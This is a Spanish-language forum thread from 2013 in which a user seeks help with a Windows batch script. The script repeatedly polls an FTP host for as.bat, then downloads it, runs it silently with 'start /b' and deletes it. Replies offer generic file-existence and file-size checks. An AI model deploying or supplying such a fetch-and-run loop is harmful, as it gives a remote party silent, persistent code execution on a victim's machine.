Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: asdexiva en 8 Agosto 2013, 19:10 pm



Título: wget duda batch
Publicado por: asdexiva en 8 Agosto 2013, 19:10 pm
habra alguna forma de que revise batch en un ftp remoto si existe un archivo y si existe que lo baje si no que se vaya tiempo de espera ?

ejemplo
Código:
:inicio
if exist public_html/as.bat goto seguir
if no exist public_html/as.bat goto tiempo
:seguir
wget ftp://usuario:password@servidorftp/public_html/as.bat -O "C:\xd.bat"
:seguir
ping 127.0.0.1 -n 60
goto inicio

quiero algo de ayuda en esto

Código:
if exist public_html/as.bat goto seguir
if no exist public_html/as.bat goto tiempo

alguna forma de hacerlo ?

o si no es posible asi

alguna de idea de como wget no me baje un archivo de 0kb ? por que necesito que wget no me baje nada por ejemplo tengo un archivo en mi host si existe el archivo que lo baje y lo ejecute pero si no existe que no me baje nada porque wget me baja un archivo de 0kb  aver si alguien me puede ayudar gracias


Título: Re: wget duda batch
Publicado por: orlando9427 en 8 Agosto 2013, 19:20 pm
Podrías usar el comando FTP para iniciar sesión, después usas el comando LS para listar los ficheros del directorio y guardarlo en un archivo temporal, compruebas si existe con un FOR y si lo encuentras lo descargas.

Este enlace te puede servir para entender el comando FTP.
http://urpiano.wordpress.com/2007/11/23/como-acceder-a-un-servidor-ftp-desde-un-fichero-bat/

Saludos!


Título: Re: wget duda batch
Publicado por: Eleкtro en 8 Agosto 2013, 20:56 pm
Te hago un ejemplo:

Código
  1. @Echo OFF
  2.  
  3. Set "FTPDir=ftp://ftp.mozilla.org:21/pub/"
  4. Set "FileList=%TEMP%\Files.tmp"
  5. Set "FileName=ls-lR.gz"
  6.  
  7. Wget "%FTPDir%" -O "%FileList%" && (
  8. Type "%FileList%" | Find /I "%FTPDir%%FileName%" 1>NUL && (
  9. Echo Archivo encontrado.
  10. ) || (
  11. Echo Archivo NO encontrado.
  12. )
  13. )
  14.  
  15. Del /Q "%FileList%"
  16. Pause&Exit

Saludos


Título: Re: wget duda batch
Publicado por: asdexiva en 10 Agosto 2013, 19:16 pm
Te hago un ejemplo:

Código
  1. @Echo OFF
  2.  
  3. Set "FTPDir=ftp://ftp.mozilla.org:21/pub/"
  4. Set "FileList=%TEMP%\Files.tmp"
  5. Set "FileName=ls-lR.gz"
  6.  
  7. Wget "%FTPDir%" -O "%FileList%" && (
  8. Type "%FileList%" | Find /I "%FTPDir%%FileName%" 1>NUL && (
  9. Echo Archivo encontrado.
  10. ) || (
  11. Echo Archivo NO encontrado.
  12. )
  13. )
  14.  
  15. Del /Q "%FileList%"
  16. Pause&Exit

Saludos

elektro no me sirve ese codigo por que ocupa logiar a un ftp si podrias ayudarme con este gracias o si alguien se anima gracias

Código:
@echo off
copy %MYFILES%\wget.exe C:\wget.exe
:XD

C:\wget ftp://usuario:password@server19.000webhost.com/public_html/as.bat -O "C:\xd.bat"
FOR %%a IN (C:\xd.bat) DO IF %%~za == 0 DEL %%a
FOR %%a IN (C:\xd.bat) DO IF %%~za == 0 DEL %%a

if not exist C:\xd.bat goto times
if exist C:\xd.bat goto seguir
:seguir
ping 127.0.0.1 -n 3
start /b C:\xd.bat
ping 127.0.0.1 -n 3
del C:\xd.bat

:times
ping 127.0.0.1 -n 30



goto XD

lo que hace este codigo es que si en el ftp esta el archivo as.bat lo baja y lo ejecuta y despues lo borra pero si no ay ningun archivo en el ftp se baja un archivo de 0kb con el nombre de as.bat y el for se encarga de borrar el archivo de 0 kb por que no me sirve
habra alguna forma de revisar en el ftp si se encuentra el archivo as.bat y si se encuentra que lo baje y lo ejecute y si no no baje nada y vaya al tiempo de espera ?

o alguna forma para que el wget no baje nada si no encuentra el archivo por que si el archivo no se encuentra en el ftp me baja un archivo de 0kb

gracias


Título: Re: wget duda batch
Publicado por: Eleкtro en 10 Agosto 2013, 20:38 pm
elektro no me sirve ese codigo por que ocupa logiar a un ftp si podrias ayudarme con este gracias o si alguien se anima gracias

¿Porque no te sirve?, si solo tienes que modificar el nombre del archivo, y la dirección FTP añadiendo el user y el pass como lo haces en el segundo ejemplo... :-/

Como ya te digo solo tienes que hacer eso xD, pero bueno, te doy una solución alternativa, si dices que es un archivo nulo entonces puedes checkar el tamaño del archivo descargado (en bytes):
Código
  1. For /F %%S in ("xd.bat") do (
  2.  
  3.    If %~zS EQU 0 then (
  4.        Goto:...
  5.    ) ELSE (
  6.        REM Hacer cosas con el archivo...
  7.    )
  8.  
  9. )

Saludos